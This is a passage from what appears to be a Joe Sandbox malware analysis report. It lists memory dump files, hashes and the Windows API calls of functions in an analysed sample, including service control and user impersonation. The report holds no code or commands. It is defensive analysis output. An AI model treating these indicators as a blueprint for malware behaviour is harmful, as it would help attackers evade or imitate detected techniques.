Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e20e8c84f0dda2b3515a910c82d5be4eae09066cb6f66dcc841ae216bfcb965d
Instruction ID: fdddbd6cdc43155a3c4d611d182dc4da0e3eb228574f1134c3cd287d95968a26
Opcode Fuzzy Hash: e20e8c84f0dda2b3515a910c82d5be4eae09066cb6f66dcc841ae216bfcb965d
Instruction Fuzzy Hash: 2C4125B270C2058FD700AF68DC806BB77D9EB85720F20493DE9C1C7281EA7A4C599755

Function 0090475B Relevance: 1.6, APIs: 1, Instructions: 129
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0090475B

Memory Dump Source

Source File: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 41ba5e870244c138a7aebab30cf0c25159fe05ba7d57b75d3c01ba57e1c7cad0
Instruction ID: 64aa449d9622e1081bcff0badb094ba0ffb47b9690b00d99c84466821ac724dc
Opcode Fuzzy Hash: 41ba5e870244c138a7aebab30cf0c25159fe05ba7d57b75d3c01ba57e1c7cad0
Instruction Fuzzy Hash: 4F417CF2A0C610AFE7056E18E94167EBBE9FB45320F12092DEAC9C3740D7754854CA97

Function 009045F7 Relevance: 1.6, APIs: 1, Instructions: 114
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 009045FB

Memory Dump Source

Source File: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 46931ddc71e876d264beb2fb799fdcb2ad625a983157a68fae4f34f5524d3c02
Instruction ID: a0ea67131a54f76c0fc1f00de38c214711fd7a266abfb75fe5395d5c92004c5c
Opcode Fuzzy Hash: 46931ddc71e876d264beb2fb799fdcb2ad625a983157a68fae4f34f5524d3c02
Instruction Fuzzy Hash: DE318FB2A0C610AFD3016F09D8816AEFBE5EFA9760F16492DE6C5C3250E77588408B93

Function 07130D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 07130DCD

Memory Dump Source

Source File: 00000003.00000002.2532876232.0000000007130000.00000040.00000800.00020000.00000000.sdmp, Offset: 07130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7130000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: e72b84de772bca90216e7af6712429f630c5396a4a97d0287c0e95382858b782
Instruction ID: abc2331c657b1cdeac4a570747264a90db02320e69bb3a0210e8d78079900576
Opcode Fuzzy Hash: e72b84de772bca90216e7af6712429f630c5396a4a97d0287c0e95382858b782
Instruction Fuzzy Hash: 042115B6C002198FCB50DF99D584ADEFBF5FF88310F14861AD908AB244D774A945CBA4

Function 07130D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 07130DCD

Memory Dump Source

Source File: 00000003.00000002.2532876232.0000000007130000.00000040.00000800.00020000.00000000.sdmp, Offset: 07130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7130000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 72bde78dddc833acefe574f51327d920639efca212b7d9d252e0ccdc17d9bcdb
Instruction ID: f423c26f5cbc01da233658e638a08f33cbb652decb9e01d53baa79950d87b1ff
Opcode Fuzzy Hash: 72bde78dddc833acefe574f51327d920639efca212b7d9d252e0ccdc17d9bcdb
Instruction Fuzzy Hash: 802113B6C012199FCB50CF99D884ADEFBF5FF88710F14851AD908AB244D774A944CBA4

Function 07131510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 07131580

Memory Dump Source

Source File: 00000003.00000002.2532876232.0000000007130000.00000040.00000800.00020000.00000000.sdmp, Offset: 07130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7130000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c7106c640dffe0b73225204b777828e16b1b9fe820aa523e7be81ea66ed861df
Instruction ID: 3c6a0b81add6354080a4402656276f2c9d8128704bf69770b4db438feaac85b7
Opcode Fuzzy Hash: c7106c640dffe0b73225204b777828e16b1b9fe820aa523e7be81ea66ed861df
Instruction Fuzzy Hash: 5B11E4B19006499FDB10CF9AC584BDEFBF4FF49320F10842AE959A7250D378A644CFA5

Function 07131509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 07131580

Memory Dump Source

Source File: 00000003.00000002.2532876232.0000000007130000.00000040.00000800.00020000.00000000.sdmp, Offset: 07130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7130000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: b35b4074d7558dd6ceda676524d5a3f3c5ba73237d2d508f5dd0b945631d6af3
Instruction ID: f7ef4043cca6cb72d7804346569b05350861c49f2342cbb4565eec36b54742f6
Opcode Fuzzy Hash: b35b4074d7558dd6ceda676524d5a3f3c5ba73237d2d508f5dd0b945631d6af3
Instruction Fuzzy Hash: 582100B59002099FCB10CF9AC584ADEBBF4BB48320F10842AE958A7250D778AA44CFA5

Function 07131301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 07131367

Memory Dump Source

Source File: 00000003.00000002.2532876232.0000000007130000.00000040.00000800.00020000.00000000.sdmp, Offset: 07130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7130000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 9685097d9b9a7c01762821820fd571eaca1fb1ecb84ed1ba500b2a136e8ef99f
Instruction ID: 13ee56f72d934d8e25feb77a073bfbcf0a35dfd5709e680b507ea34fbf0c9bdf
Opcode Fuzzy Hash: 9685097d9b9a7c01762821820fd571eaca1fb1ecb84ed1ba500b2a136e8ef99f
Instruction Fuzzy Hash: 2B1136B1800249CFDB10DF9AD985BEEFBF8EF49720F14842AD558A3240D778A545CFA5

Function 07131308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 07131367

Memory Dump Source

Source File: 00000003.00000002.2532876232.0000000007130000.00000040.00000800.00020000.00000000.sdmp, Offset: 07130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7130000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 93e76631f054a9b23cce55b091b51a92db9f5d1b8d386f837633a857119d3650
Instruction ID: 056d137d5ddc8e55b32a2ba8a72ea55f466ece43862f62d3d9199c1ce6f2042a
Opcode Fuzzy Hash: 93e76631f054a9b23cce55b091b51a92db9f5d1b8d386f837633a857119d3650
Instruction Fuzzy Hash: 141148B1800249CFDB10CF9AC544BEEFBF8EF48320F10841AD518A3240C778A544CFA5

Function 00907F68 Relevance: 1.5, APIs: 1, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00907F74

Memory Dump Source

Source File: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a49114d7dd935d6ee0ab43e156ce2d6abeb0734299edb1e064b8c2aec79c59c8
Instruction ID: 189f01f8ef58b746bdc7817a6e28c58ba839df99806c0a859d63da885c673401
Opcode Fuzzy Hash: a49114d7dd935d6ee0ab43e156ce2d6abeb0734299edb1e064b8c2aec79c59c8
Instruction Fuzzy Hash: FAD0A77278D2972DD7A2A7A45CA17AE69598F91200F3440147985AB1C3DDC11C028705

Function 00911C34 Relevance: 1.5, APIs: 1, Instructions: 5
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00911C37

Memory Dump Source

Source File: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
